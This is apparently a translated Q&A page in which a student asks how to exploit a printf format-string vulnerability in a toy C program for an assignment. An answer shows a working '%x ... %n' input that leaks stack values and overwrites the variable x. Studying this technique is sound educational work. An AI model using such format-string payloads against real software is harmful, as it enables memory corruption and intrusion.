簡體   English   中英

在C中利用Printf漏洞

[英]Exploiting Printf Vulnerability in C

作為任務的一部分,我希望利用下面共享的C代碼中的printf()漏洞。 應該以某種方式在我使用字符串運行代碼時(例如./format“ foo”),我應該用其他方式更改“ X equals 1”中的“ 1”。 我相信我需要更改X變量的值,但是如果您有其他想法,請不要猶豫。 這是代碼:

#include <stdio.h>
#include <stdlib.h>
int main (int argc, char **argv)
{
    int *p;
    int x = 1;
    p=&x;
    printf("x=%d, sizeof(x): %zu, %x = %p, sizeof((p):%zu,&p = %p, \n", x, sizeof(x), &x, sizeof(p),&p);
    printf(argv[1]);
    printf("\nX equals: %d \n", x);
    return 0;
}

如果沒有正確使用驗證,您會發現有關打印漏洞的相當不錯的信息( 格式字符串攻擊 )。

我玩了一點,當運行程序時像這樣:

./format "Bob %x %x %x %x %x %x %x %x%n" 

將導致以下打印:

x=1, sizeof(x): 4, &x = 0x7fffa9c36e14, sizeof((p):8,&p = 0x7fffa9c36e18,
Bob 81688000 81464ab0 3 81688048 3 a9c36f08 400410 a9c36f00
X equals: 59

如果將%n替換為%n %x您將能夠看到變量x的地址。 因為%x從過程存儲器讀取並且%n向過程存儲器寫入,所以我能夠更改x內部的數據(59是打印時最多%n的字符數)

暫無
暫無

聲明:本站的技術帖子網頁,遵循CC BY-SA 4.0協議,如果您需要轉載,請注明本站網址或者原文地址。任何問題請咨詢:yoyou2525@163.com.

 
粵ICP備18138465號  © 2020-2024 STACKOOM.COM